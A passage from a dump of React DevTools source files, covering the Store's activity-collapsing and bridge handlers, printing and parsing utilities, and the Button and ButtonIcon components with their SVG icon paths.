const nextActivitySlice = this._idToElement.get(nextActivitySliceID);\n      if (nextActivitySlice === undefined) {\n        throw new Error('Next Activity slice not found in Store.');\n      }\n\n      for (let j = 0; j < nextActivitySlice.children.length; j++) {\n        didCollapse ||= this._collapseActivitiesRecursively(\n          nextActivitySlice.children[j],\n        );\n      }\n\n      if (didCollapse) {\n        let weightAcrossRoots = 0;\n        this._roots.forEach(rootID => {\n          const {weight} = ((this.getElementByID(rootID): any): Element);\n          weightAcrossRoots += weight;\n        });\n        this._weightAcrossRoots = weightAcrossRoots;\n      }\n    }\n\n    for (let j = 0; j < this._componentFilters.length; j++) {\n      const filter = this._componentFilters[j];\n      // If we're focusing an Activity, IDs may have changed.\n      if (filter.type === ComponentFilterActivitySlice) {\n        if (nextActivitySliceID === null || nextActivitySliceID === 0) {\n          filter.isValid = false;\n        } else {\n          filter.activityID = nextActivitySliceID;\n        }\n      }\n    }\n\n    if (nextActivitySliceID !== null) {\n      this._focusedTransition = nextActivitySliceID;\n    }\n\n    this.emit('mutated', [\n      addedElementIDs,\n      removedElementIDs,\n      nextActivitySliceID,\n    ]);\n  };\n\n  _collapseActivitiesRecursively(elementID: number): boolean {\n    let didMutate = false;\n    const element = this._idToElement.get(elementID);\n    if (element === undefined) {\n      throw new Error('Element not found in Store.');\n    }\n\n    if (element.type === ElementTypeActivity) {\n      if (!element.isCollapsed) {\n        element.isCollapsed = true;\n\n        const weightDelta = 1 - element.weight;\n\n        let parentElement = this._idToElement.get(element.parentID);\n        while (parentElement !== undefined) {\n          parentElement.weight += weightDelta;\n          parentElement = this._idToElement.get(parentElement.parentID);\n        }\n        return true;\n      }\n      return false;\n    }\n\n    for (let i = 0; i < element.children.length; i++) {\n      didMutate ||= this._collapseActivitiesRecursively(element.children[i]);\n    }\n    return didMutate;\n  }\n\n  onBridgeShutdown: () => void = () => {\n    if (__DEBUG__) {\n      debug('onBridgeShutdown', 'unsubscribing from Bridge');\n    }\n\n    const bridge = this._bridge;\n    bridge.removeListener('operations', this.onBridgeOperations);\n    bridge.removeListener('shutdown', this.onBridgeShutdown);\n    bridge.removeListener(\n      'isReloadAndProfileSupportedByBackend',\n      this.onBackendReloadAndProfileSupported,\n    );\n    bridge.removeListener(\n      'isNativeStyleEditorSupported',\n      this.onBridgeNativeStyleEditorSupported,\n    );\n    bridge.removeListener(\n      'unsupportedRendererVersion',\n      this.onBridgeUnsupportedRendererVersion,\n    );\n    bridge.removeListener('backendVersion', this.onBridgeBackendVersion);\n    bridge.removeListener('bridgeProtocol', this.onBridgeProtocol);\n    bridge.removeListener('saveToClipboard', this.onSaveToClipboard);\n    bridge.removeListener('selectElement', this.onHostInstanceSelected);\n\n    if (this._onBridgeProtocolTimeoutID !== null) {\n      clearTimeout(this._onBridgeProtocolTimeoutID);\n      this._onBridgeProtocolTimeoutID = null;\n    }\n  };\n\n  onBackendReloadAndProfileSupported: (\n    isReloadAndProfileSupported: boolean,\n  ) => void = isReloadAndProfileSupported => {\n    this._isReloadAndProfileBackendSupported = isReloadAndProfileSupported;\n\n    this.emit('supportsReloadAndProfile');\n  };\n\n  onBridgeUnsupportedRendererVersion: () => void = () => {\n    this._unsupportedRendererVersionDetected = true;\n\n    this.emit('unsupportedRendererVersionDetected');\n  };\n\n  onBridgeBackendVersion: (backendVersion: string) => void = backendVersion => {\n    this._backendVersion = backendVersion;\n    this.emit('backendVersion');\n  };\n\n  onBridgeProtocol: (bridgeProtocol: BridgeProtocol) => void =\n    bridgeProtocol => {\n      if (this._onBridgeProtocolTimeoutID !== null) {\n        clearTimeout(this._onBridgeProtocolTimeoutID);\n        this._onBridgeProtocolTimeoutID = null;\n      }\n\n      this._bridgeProtocol = bridgeProtocol;\n\n      if (bridgeProtocol.version !== currentBridgeProtocol.version) {\n        // Technically newer versions of the frontend can, at least for now,\n        // gracefully handle older versions of the backend protocol.\n        // So for now we don't need to display the unsupported dialog.\n      }\n    };\n\n  onBridgeProtocolTimeout: () => void = () => {\n    this._onBridgeProtocolTimeoutID = null;\n\n    // If we timed out, that indicates the backend predates the bridge protocol,\n    // so we can set a fake version (0) to trigger the downgrade message.\n    this._bridgeProtocol = BRIDGE_PROTOCOL[0];\n\n    this.emit('unsupportedBridgeProtocolDetected');\n  };\n\n  onSaveToClipboard: (text: string) => void = text => {\n    withPermissionsCheck({permissions: ['clipboardWrite']}, () => copy(text))();\n  };\n\n  onBackendInitialized: () => void = () => {\n    // Verify that the frontend version is compatible with the connected backend.\n    // See github.com/facebook/react/issues/21326\n    if (this._shouldCheckBridgeProtocolCompatibility) {\n      // Older backends don't support an explicit bridge protocol,\n      // so we should timeout eventually and show a downgrade message.\n      this._onBridgeProtocolTimeoutID = setTimeout(\n        this.onBridgeProtocolTimeout,\n        10000,\n      );\n\n      this._bridge.addListener('bridgeProtocol', this.onBridgeProtocol);\n      this._bridge.send('getBridgeProtocol');\n    }\n\n    this._bridge.send('getBackendVersion');\n    this._bridge.send('getIfHasUnsupportedRendererVersion');\n    this._bridge.send('getHookSettings'); // Warm up cached hook settings\n  };\n\n  onHostInstanceSelected: (elementId: number | null) => void = elementId => {\n    if (\n      this._lastSelectedHostInstanceElementId === elementId &&\n      // Force clear selection e.g. when we inspect an element in the Components panel\n      // and then switch to the browser's Elements panel.\n      // We wouldn't want to stay on the inspected element if we're inspecting\n      // an element not owned by React when switching to the browser's Elements panel.\n      elementId !== null\n    ) {\n      return;\n    }\n\n    this._lastSelectedHostInstanceElementId = elementId;\n    // By the time we emit this, there is no guarantee that TreeContext is rendered.\n    this.emit('hostInstanceSelected', elementId);\n  };\n\n  getHookSettings: () => void = () => {\n    if (this._hookSettings != null) {\n      this.emit('hookSettings', this._hookSettings);\n    } else {\n      this._bridge.send('getHookSettings');\n    }\n  };\n\n  /**\n   * Maximum recorded node depth during the lifetime of this Store.\n   * Can only increase: not guaranteed to return maximal value for currently recorded elements.\n   */\n  getMaximumRecordedDepth(): number {\n    return this._maximumRecordedDepth;\n  }\n\n  updateHookSettings: (settings: $ReadOnly<DevToolsHookSettings>) => void =\n    settings => {\n      this._hookSettings = settings;\n\n      this._bridge.send('updateHookSettings', settings);\n      this.emit('settingsUpdated', settings, this._componentFilters);\n    };\n\n  onHookSettings: (settings: $ReadOnly<DevToolsHookSettings>) => void =\n    settings => {\n      this._hookSettings = settings;\n\n      this.setShouldShowWarningsAndErrors(settings.showInlineWarningsAndErrors);\n      this.emit('hookSettings', settings);\n    };\n\n  setShouldShowWarningsAndErrors(status: boolean): void {\n    const previousStatus = this._shouldShowWarningsAndErrors;\n    this._shouldShowWarningsAndErrors = status;\n\n    if (previousStatus !== status) {\n      // Propagate to subscribers, although tree state has not changed\n      this.emit('mutated', [[], new Map(), null]);\n    }\n  }\n\n  // The Store should never throw an Error without also emitting an event.\n  // Otherwise Store errors will be invisible to users,\n  // but the downstream errors they cause will be reported as bugs.\n  // For example, https://github.com/facebook/react/issues/21402\n  // Emitting an error event allows the ErrorBoundary to show the original error.\n  _throwAndEmitError(error: Error): empty {\n    this.emit('error', error);\n\n    // Throwing is still valuable for local development\n    // and for unit testing the Store itself.\n    throw error;\n  }\n\n  _guessSuspenseName(element: Element): string | null {\n    const owner = this._idToElement.get(element.ownerID);\n    if (owner !== undefined && owner.displayName !== null) {\n      return owner.displayName;\n    }\n\n    return null;\n  }\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/utils.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport JSON5 from 'json5';\n\nimport type {ReactFunctionLocation} from 'shared/ReactTypes';\nimport {ElementTypeActivity} from 'react-devtools-shared/src/frontend/types';\nimport type {\n  Element,\n  SuspenseNode,\n} from 'react-devtools-shared/src/frontend/types';\nimport type {StateContext} from './views/Components/TreeContext';\nimport type Store from './store';\n\nexport function printElement(\n  element: Element,\n  includeWeight: boolean = false,\n): string {\n  let prefix = ' ';\n  if (element.children.length > 0) {\n    prefix = element.isCollapsed ? '▸' : '▾';\n  }\n\n  let key = '';\n  if (element.key !== null) {\n    key = ` key=\"${element.key}\"`;\n  }\n\n  let name = '';\n  if (element.nameProp !== null) {\n    name = ` name=\"${element.nameProp}\"`;\n  }\n\n  let hocDisplayNames = null;\n  if (element.hocDisplayNames !== null) {\n    hocDisplayNames = [...element.hocDisplayNames];\n  }\n\n  const hocs =\n    hocDisplayNames === null ? '' : ` [${hocDisplayNames.join('][')}]`;\n\n  let mode = '';\n  if (element.type === ElementTypeActivity) {\n    mode = ` mode=\"${element.isActivityHidden ? 'hidden' : 'visible'}\"`;\n  }\n\n  let suffix = '';\n  if (includeWeight) {\n    suffix = ` (${element.isCollapsed ? 1 : element.weight})`;\n  }\n\n  return `${'  '.repeat(element.depth + 1)}${prefix} <${\n    element.displayName || 'null'\n  }${key}${name}${mode}>${hocs}${suffix}`;\n}\n\nfunction printRects(rects: SuspenseNode['rects']): string {\n  if (rects === null) {\n    return ' rects={null}';\n  } else {\n    return ` rects={[${rects.map(rect => `{x:${rect.x},y:${rect.y},width:${rect.width},height:${rect.height}}`).join(', ')}]}`;\n  }\n}\n\nfunction printSuspense(suspense: SuspenseNode): string {\n  const name = ` name=\"${suspense.name || 'Unknown'}\"`;\n  const hasUniqueSuspenders = ` uniqueSuspenders={${suspense.hasUniqueSuspenders ? 'true' : 'false'}}`;\n  const printedRects = printRects(suspense.rects);\n\n  return `<Suspense${name}${hasUniqueSuspenders}${printedRects}>`;\n}\n\nfunction printSuspenseWithChildren(\n  store: Store,\n  suspense: SuspenseNode,\n  depth: number,\n): Array<string> {\n  const lines = ['  '.repeat(depth) + printSuspense(suspense)];\n  for (let i = 0; i < suspense.children.length; i++) {\n    const childID = suspense.children[i];\n    const child = store.getSuspenseByID(childID);\n    if (child === null) {\n      throw new Error(`Could not find Suspense node with ID \"${childID}\".`);\n    }\n    lines.push(...printSuspenseWithChildren(store, child, depth + 1));\n  }\n\n  return lines;\n}\n\nexport function printOwnersList(\n  elements: Array<Element>,\n  includeWeight: boolean = false,\n): string {\n  return elements\n    .map(element => printElement(element, includeWeight))\n    .join('\\n');\n}\n\nexport function printStore(\n  store: Store,\n  includeWeight: boolean = false,\n  state: StateContext | null = null,\n  includeSuspense: boolean = true,\n): string {\n  const snapshotLines = [];\n\n  let rootWeight = 0;\n\n  function printSelectedMarker(index: number): string {\n    if (state === null) {\n      return '';\n    }\n    return state.inspectedElementIndex === index ? `→` : ' ';\n  }\n\n  function printErrorsAndWarnings(element: Element): string {\n    const {errorCount, warningCount} =\n      store.getErrorAndWarningCountForElementID(element.id);\n    if (errorCount === 0 && warningCount === 0) {\n      return '';\n    }\n    return ` ${errorCount > 0 ? '✕' : ''}${warningCount > 0 ? '⚠' : ''}`;\n  }\n\n  const ownerFlatTree = state !== null ? state.ownerFlatTree : null;\n  if (ownerFlatTree !== null) {\n    snapshotLines.push(\n      '[owners]' + (includeWeight ? ` (${ownerFlatTree.length})` : ''),\n    );\n    ownerFlatTree.forEach((element, index) => {\n      const printedSelectedMarker = printSelectedMarker(index);\n      const printedElement = printElement(element, false);\n      const printedErrorsAndWarnings = printErrorsAndWarnings(element);\n      snapshotLines.push(\n        `${printedSelectedMarker}${printedElement}${printedErrorsAndWarnings}`,\n      );\n    });\n  } else {\n    const errorsAndWarnings = store._errorsAndWarnings;\n    if (errorsAndWarnings.size > 0) {\n      let errorCount = 0;\n      let warningCount = 0;\n      errorsAndWarnings.forEach(entry => {\n        errorCount += entry.errorCount;\n        warningCount += entry.warningCount;\n      });\n\n      snapshotLines.push(`✕ ${errorCount}, ⚠ ${warningCount}`);\n    }\n\n    store.roots.forEach(rootID => {\n      const {weight} = ((store.getElementByID(rootID): any): Element);\n      const maybeWeightLabel = includeWeight ? ` (${weight})` : '';\n\n      // Store does not (yet) expose a way to get errors/warnings per root.\n      snapshotLines.push(`[root]${maybeWeightLabel}`);\n\n      for (let i = rootWeight; i < rootWeight + weight; i++) {\n        const element = store.getElementAtIndex(i);\n\n        if (element == null) {\n          throw Error(`Could not find element at index \"${i}\"`);\n        }\n\n        const printedSelectedMarker = printSelectedMarker(i);\n        const printedElement = printElement(element, includeWeight);\n        const printedErrorsAndWarnings = printErrorsAndWarnings(element);\n        snapshotLines.push(\n          `${printedSelectedMarker}${printedElement}${printedErrorsAndWarnings}`,\n        );\n      }\n\n      rootWeight += weight;\n\n      if (includeSuspense) {\n        const root = store.getSuspenseByID(rootID);\n        // Roots from legacy renderers don't have a separate Suspense tree\n        if (root !== null) {\n          if (root.children.length > 0) {\n            snapshotLines.push('[suspense-root] ' + printRects(root.rects));\n            for (let i = 0; i < root.children.length; i++) {\n              const childID = root.children[i];\n              const child = store.getSuspenseByID(childID);\n              if (child === null) {\n                throw new Error(\n                  `Could not find Suspense node with ID \"${childID}\".`,\n                );\n              }\n              snapshotLines.push(...printSuspenseWithChildren(store, child, 1));\n            }\n          }\n        }\n      }\n    });\n\n    // Make sure the pretty-printed test align with the Store's reported number of total rows.\n    if (rootWeight !== store.numElements) {\n      throw Error(\n        `Inconsistent Store state. Individual root weights (\"${rootWeight}\") do not match total weight (\"${store.numElements}\")`,\n      );\n    }\n\n    // If roots have been unmounted, verify that they've been removed from maps.\n    // This helps ensure the Store doesn't leak memory.\n    store.assertExpectedRootMapSizes();\n  }\n\n  return snapshotLines.join('\\n');\n}\n\n// We use JSON.parse to parse string values\n// e.g. 'foo' is not valid JSON but it is a valid string\n// so this method replaces e.g. 'foo' with \"foo\"\nexport function sanitizeForParse(value: any): any | string {\n  if (typeof value === 'string') {\n    if (\n      value.length >= 2 &&\n      value.charAt(0) === \"'\" &&\n      value.charAt(value.length - 1) === \"'\"\n    ) {\n      return '\"' + value.slice(1, value.length - 1) + '\"';\n    }\n  }\n  return value;\n}\n\nexport function smartParse(value: any): any | void | number {\n  switch (value) {\n    case 'Infinity':\n      return Infinity;\n    case 'NaN':\n      return NaN;\n    case 'undefined':\n      return undefined;\n    default:\n      return JSON5.parse(sanitizeForParse(value));\n  }\n}\n\nexport function smartStringify(value: any): string {\n  if (typeof value === 'number') {\n    if (Number.isNaN(value)) {\n      return 'NaN';\n    } else if (!Number.isFinite(value)) {\n      return 'Infinity';\n    }\n  } else if (value === undefined) {\n    return 'undefined';\n  }\n\n  return JSON.stringify(value);\n}\n\nconst STACK_DELIMETER = /\\n\\s+at /;\nconst STACK_SOURCE_LOCATION = /([^\\s]+) \\((.+):(.+):(.+)\\)/;\n\nexport function stackToComponentLocations(\n  stack: string,\n): Array<[string, ?ReactFunctionLocation]> {\n  const out: Array<[string, ?ReactFunctionLocation]> = [];\n  stack\n    .split(STACK_DELIMETER)\n    .slice(1)\n    .forEach(entry => {\n      const match = STACK_SOURCE_LOCATION.exec(entry);\n      if (match) {\n        const [, component, url, row, column] = match;\n        out.push([\n          component,\n          [component, url, parseInt(row, 10), parseInt(column, 10)],\n        ]);\n      } else {\n        out.push([entry, null]);\n      }\n    });\n  return out;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Button.css",
    "content": ".Button {\n  border: none;\n  background: var(--color-button-background);\n  color: var(--color-button);\n  padding: 0;\n  border-radius: 0.25rem;\n  flex: 0 0 auto;\n  cursor: pointer;\n}\n.ButtonContent {\n  display: inline-flex;\n  align-items: center;\n  border-radius: 0.25rem;\n  padding: 0.25rem;\n}\n\n.Button:hover {\n  color: var(--color-button-hover);\n}\n.Button:active {\n  color: var(--color-button-focus);\n  outline: none;\n}\n.Button:focus,\n.ButtonContent:focus {\n  outline: none;\n}\n\n.Button:focus > .ButtonContent {\n  background: var(--color-button-background-focus);\n}\n\n.Button:disabled,\n.Button:disabled:active {\n  background: var(--color-button-background);\n  color: var(--color-button-disabled);\n  cursor: default;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/Button.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\n\nimport styles from './Button.css';\nimport Tooltip from './Components/reach-ui/tooltip';\n\ntype Props = {\n  children: React$Node,\n  className?: string,\n  testName?: ?string,\n  title: React$Node,\n  ...\n};\n\nexport default function Button({\n  children,\n  className = '',\n  testName,\n  title,\n  ...rest\n}: Props): React.Node {\n  let button = (\n    // $FlowFixMe[cannot-spread-inexact] unsafe spread\n    <button\n      className={`${styles.Button} ${className}`}\n      data-testname={testName}\n      {...rest}>\n      <span className={`${styles.ButtonContent} ${className}`} tabIndex={-1}>\n        {children}\n      </span>\n    </button>\n  );\n\n  if (title) {\n    button = <Tooltip label={title}>{button}</Tooltip>;\n  }\n\n  return button;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ButtonIcon.css",
    "content": ".ButtonIcon {\n  width: 1rem;\n  height: 1rem;\n  fill: currentColor;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/devtools/views/ButtonIcon.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport * as React from 'react';\nimport styles from './ButtonIcon.css';\n\nexport type IconType =\n  | 'add'\n  | 'cancel'\n  | 'clear'\n  | 'close'\n  | 'collapsed'\n  | 'copy'\n  | 'delete'\n  | 'down'\n  | 'editor'\n  | 'expanded'\n  | 'export'\n  | 'filter'\n  | 'import'\n  | 'log-data'\n  | 'more'\n  | 'next'\n  | 'parse-hook-names'\n  | 'previous'\n  | 'record'\n  | 'reload'\n  | 'save'\n  | 'search'\n  | 'settings'\n  | 'panel-left-close'\n  | 'panel-left-open'\n  | 'panel-right-close'\n  | 'panel-right-open'\n  | 'panel-bottom-open'\n  | 'panel-bottom-close'\n  | 'filter-on'\n  | 'filter-off'\n  | 'play'\n  | 'pause'\n  | 'skip-previous'\n  | 'skip-next'\n  | 'error'\n  | 'suspend'\n  | 'undo'\n  | 'up'\n  | 'view-dom'\n  | 'view-source';\n\ntype Props = {\n  className?: string,\n  type: IconType,\n};\n\nconst panelIcons = '96 -864 768 768';\nexport default function ButtonIcon({className = '', type}: Props): React.Node {\n  let pathData = null;\n  let viewBox = '0 0 24 24';\n  switch (type) {\n    case 'add':\n      pathData = PATH_ADD;\n      break;\n    case 'cancel':\n      pathData = PATH_CANCEL;\n      break;\n    case 'clear':\n      pathData = PATH_CLEAR;\n      break;\n    case 'close':\n      pathData = PATH_CLOSE;\n      break;\n    case 'collapsed':\n      pathData = PATH_COLLAPSED;\n      break;\n    case 'copy':\n      pathData = PATH_COPY;\n      break;\n    case 'delete':\n      pathData = PATH_DELETE;\n      break;\n    case 'down':\n      pathData = PATH_DOWN;\n      break;\n    case 'editor':\n      pathData = PATH_EDITOR;\n      break;\n    case 'expanded':\n      pathData = PATH_EXPANDED;\n      break;\n    case 'export':\n      pathData = PATH_EXPORT;\n      break;\n    case 'filter':\n      pathData = PATH_FILTER;\n      break;\n    case 'import':\n      pathData = PATH_IMPORT;\n      break;\n    case 'log-data':\n      pathData = PATH_LOG_DATA;\n      break;\n    case 'more':\n      pathData = PATH_MORE;\n      break;\n    case 'next':\n      pathData = PATH_NEXT;\n      break;\n    case 'parse-hook-names':\n      pathData = PATH_PARSE_HOOK_NAMES;\n      break;\n    case 'previous':\n      pathData = PATH_PREVIOUS;\n      break;\n    case 'record':\n      pathData = PATH_RECORD;\n      break;\n    case 'reload':\n      pathData = PATH_RELOAD;\n      break;\n    case 'save':\n      pathData = PATH_SAVE;\n      break;\n    case 'search':\n      pathData = PATH_SEARCH;\n      break;\n    case 'settings':\n      pathData = PATH_SETTINGS;\n      break;\n    case 'error':\n      pathData = PATH_ERROR;\n      break;\n    case 'panel-left-close':\n      pathData = PATH_MATERIAL_PANEL_LEFT_CLOSE;\n      viewBox = panelIcons;\n      break;\n    case 'panel-left-open':\n      pathData = PATH_MATERIAL_PANEL_LEFT_OPEN;\n      viewBox = panelIcons;\n      break;\n    case 'panel-right-close':\n      pathData = PATH_MATERIAL_PANEL_RIGHT_CLOSE;\n      viewBox = panelIcons;\n      break;\n    case 'panel-right-open':\n      pathData = PATH_MATERIAL_PANEL_RIGHT_OPEN;\n      viewBox = panelIcons;\n      break;\n    case 'panel-bottom-open':\n      pathData = PATH_MATERIAL_PANEL_BOTTOM_OPEN;\n      viewBox = panelIcons;\n      break;\n    case 'panel-bottom-close':\n      pathData = PATH_MATERIAL_PANEL_BOTTOM_CLOSE;\n      viewBox = panelIcons;\n      break;\n    case 'filter-on':\n      pathData = PATH_MATERIAL_FILTER_ALT;\n      viewBox = panelIcons;\n      break;\n    case 'filter-off':\n      pathData = PATH_MATERIAL_FILTER_ALT_OFF;\n      viewBox = panelIcons;\n      break;\n    case 'play':\n      pathData = PATH_MATERIAL_PLAY_ARROW;\n      viewBox = panelIcons;\n      break;\n    case 'pause':\n      pathData = PATH_MATERIAL_PAUSE;\n      viewBox = panelIcons;\n      break;\n    case 'skip-previous':\n      pathData = PATH_MATERIAL_SKIP_PREVIOUS_ARROW;\n      viewBox = panelIcons;\n      break;\n    case 'skip-next':\n      pathData = PATH_MATERIAL_SKIP_NEXT_ARROW;\n      viewBox = panelIcons;\n      break;\n    case 'suspend':\n      pathData = PATH_SUSPEND;\n      break;\n    case 'undo':\n      pathData = PATH_UNDO;\n      break;\n    case 'up':\n      pathData = PATH_UP;\n      break;\n    case 'view-dom':\n      pathData = PATH_VIEW_DOM;\n      break;\n    case 'view-source':\n      pathData = PATH_VIEW_SOURCE;\n      break;\n    default:\n      console.warn(`Unsupported type \"${type}\" specified for ButtonIcon`);\n      break;\n  }\n\n  return (\n    <svg\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className={`${styles.ButtonIcon} ${className}`}\n      width=\"24\"\n      height=\"24\"\n      viewBox={viewBox}>\n      <path d=\"M0 0h24v24H0z\" fill=\"none\" />\n      {typeof pathData === 'string' ? (\n        <path fill=\"currentColor\" d={pathData} />\n      ) : (\n        pathData\n      )}\n    </svg>\n  );\n}\n\nconst PATH_ADD =\n  'M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm5 11h-4v4h-2v-4H7v-2h4V7h2v4h4v2z';\n\nconst PATH_CANCEL = `\n  M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z\n`;\n\nconst PATH_CLEAR = `\n  M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zM4 12c0-4.42 3.58-8 8-8 1.85 0 3.55.63 4.9 1.69L5.69\n  16.9C4.63 15.55 4 13.85 4 12zm8 8c-1.85 0-3.55-.63-4.9-1.69L18.31 7.1C19.37 8.45 20 10.15 20 12c0 4.42-3.58 8-8 8z\n`;\n\nconst PATH_CLOSE =\n  'M19 6.41L17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z';\n\nconst PATH_COLLAPSED = 'M10 17l5-5-5-5v10z';\n\nconst PATH_COPY = `\n  M3 13h2v-2H3v2zm0 4h2v-2H3v2zm2 4v-2H3a2 2 0 0 0 2 2zM3 9h2V7H3v2zm12 12h2v-2h-2v2zm4-18H9a2 2 0 0 0-2\n  2v10a2 2 0 0 0 2 2h10c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2zm0 12H9V5h10v10zm-8 6h2v-2h-2v2zm-4 0h2v-2H7v2z\n`;\n\nconst PATH_DELETE = `\n  M12 2C6.47 2 2 6.47 2 12s4.47 10 10 10 10-4.47 10-10S17.53 2 12 2zm5 13.59L15.59 17 12\n  13.41 8.41 17 7 15.59 10.59 12 7 8.41 8.41 7 12 10.59 15.59 7 17 8.41 13.41 12 17 15.59z\n`;\n\nconst PATH_DOWN = 'M7.41 8.59L12 13.17l4.59-4.58L18 10l-6 6-6-6 1.41-1.41z';\n\nconst PATH_EXPANDED = 'M7 10l5 5 5-5z';\n\nconst PATH_EXPORT = 'M15.82,2.14v7H21l-9,9L3,9.18H8.18v-7ZM3,20.13H21v1.73H3Z';\n\nconst PATH_FILTER = 'M10 18h4v-2h-4v2zM3 6v2h18V6H3zm3 7h12v-2H6v2z';\n\nconst PATH_IMPORT = 'M8.18,18.13v-7H3l9-8.95,9,9H15.82v7ZM3,20.13H21v1.73H3Z';\n\nconst PATH_LOG_DATA = `\n  M20 8h-2.81c-.45-.78-1.07-1.45-1.82-1.96L17 4.41 15.59 3l-2.17 2.17C12.96 5.06 12.49 5 12 5c-.49 0-.96.06-1.41.17L8.41\n  3 7 4.41l1.62 1.63C7.88 6.55 7.26 7.22 6.81 8H4v2h2.09c-.05.33-.09.66-.09 1v1H4v2h2v1c0 .34.04.67.09 1H4v2h2.81c1.04\n  1.79 2.97 3 5.19 3s4.15-1.21 5.19-3H20v-2h-2.09c.05-.33.09-.66.09-1v-1h2v-2h-2v-1c0-.34-.04-.67-.09-1H20V8zm-6\n  8h-4v-2h4v2zm0-4h-4v-2h4v2z\n`;\n\nconst PATH_MORE = `\n  M12 8c1.1 0 2-.9 2-2s-.9-2-2-2-2 .9-2 2 .9 2 2 2zm0 2c-1.1 0-2 .9-2 2s.9\n  2 2 2 2-.9 2-2-.9-2-2-2zm0 6c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2z\n`;\n\nconst PATH_NEXT = 'M12 4l-1.41 1.41L16.17 11H4v2h12.17l-5.58 5.59L12 20l8-8z';\n\nconst PATH_PARSE_HOOK_NAMES = (\n  <g>\n    <polygon points=\"20,7 20.94,4.94 23,4 20.94,3.06 20,1 19.06,3.06 17,4 19.06,4.94\" />\n    <polygon points=\"8.5,7 9.44,4.94 11.5,4 9.44,3.06 8.5,1 7.56,3.06 5.5,4 7.56,4.94\" />\n    <polygon points=\"20,12.5 19.06,14.56 17,15.5 19.06,16.44 20,18.5 20.94,16.44 23,15.5 20.94,14.56\" />\n    <path d=\"M17.71,9.12l-2.83-2.83C14.68,6.1,14.43,6,14.17,6c-0.26,0-0.51,0.1-0.71,0.29L2.29,17.46c-0.39,0.39-0.39,1.02,0,1.41 l2.83,2.83C5.32,21.9,5.57,22,5.83,22s0.51-0.1,0.71-0.29l11.17-11.17C18.1,10.15,18.1,9.51,17.71,9.12z M14.17,8.42l1.41,1.41 L14.41,11L13,9.59L14.17,8.42z M5.83,19.59l-1.41-1.41L11.59,11L13,12.41L5.83,19.59z\" />\n  </g>\n);\n\nconst PATH_PREVIOUS =\n  'M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20v-2z';\n\nconst PATH_RECORD = 'M4,12a8,8 0 1,0 16,0a8,8 0 1,0 -16,0';\n\nconst PATH_RELOAD = `\n  M17.65 6.35C16.2 4.9 14.21 4 12 4c-4.42 0-7.99 3.58-7.99 8s3.57 8 7.99 8c3.73 0\n  6.84-2.55 7.73-6h-2.08c-.82 2.33-3.04 4-5.65 4-3.31 0-6-2.69-6-6s2.69-6 6-6c1.66 0\n  3.14.69 4.22 1.78L13 11h7V4l-2.35 2.35z\n`;\n\nconst PATH_SAVE = `\n  M17 3H5c-1.11 0-2 .9-2 2v14c0 1.1.89 2 2 2h14c1.1 0 2-.9 2-2V7l-4-4zm-5 16c-1.66 0-3-1.34-3-3s1.34-3 3-3 3 1.34 3 3-1.34 3-3 3zm3-10H5V5h10v4z\n`;\n\nconst PATH_SEARCH = `\n  M8.5,22H3.7l-1.4-1.5V3.8l1.3-1.5h17.2l1,1.5v4.9h-1.3V4.3l-0.4-0.6H4.2L3.6,4.3V20l0.7,0.7h4.2V22z\n  M23,13.9l-4.6,3.6l4.6,4.6l-1.1,1.1l-4.7-4.4l-3.3,4.4l-3.2-12.3L23,13.9z\n`;\n\nconst PATH_SETTINGS = `\n  M19.43 12.98c.04-.32.07-.64.07-.98s-.03-.66-.07-.98l2.11-1.65c.19-.15.24-.42.12-.64l-2-3.46c-.12-.22-.39-.3-.61-.22l-2.49\n  1c-.52-.4-1.08-.73-1.69-.98l-.38-2.65C14.46 2.18 14.25 2 14 2h-4c-.25 0-.46.18-.49.42l-.38\n  2.65c-.61.25-1.17.59-1.69.98l-2.49-1c-.23-.09-.49 0-.61.22l-2 3.46c-.13.22-.07.49.12.64l2.11\n  1.65c-.04.32-.07.65-.07.98s.03.66.07.98l-2.11 1.65c-.19.15-.24.42-.12.64l2 3.46c.12.22.39.3.61.22l2.49-1c.52.4\n  1.08.73 1.69.98l.38 2.65c.03.24.24.42.49.42h4c.25 0 .46-.18.49-.42l.38-2.65c.61-.25 1.17-.59 1.69-.98l2.49\n  1c.23.09.49 0 .61-.22l2-3.46c.12-.22.07-.49-.12-.64l-2.11-1.65zM12 15.5c-1.93 0-3.5-1.57-3.5-3.5s1.57-3.5\n  3.5-3.5 3.5 1.57 3.5 3.5-1.57 3.5-3.5 3.5z\n`;\n\nconst PATH_ERROR =\n  'M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm1 15h-2v-2h2v2zm0-4h-2V7h2v6z';\n\nconst PATH_SUSPEND = `\n  M15 1H9v2h6V1zm-4 13h2V8h-2v6zm8.03-6.61l1.42-1.42c-.43-.51-.9-.99-1.41-1.41l-1.42 1.42C16.07 4.74 14.12 4 12 4c-4.97\n  0-9 4.03-9 9s4.02 9 9 9 9-4.03 9-9c0-2.12-.74-4.07-1.97-5.61zM12 20c-3.87 0-7-3.13-7-7s3.13-7 7-7 7 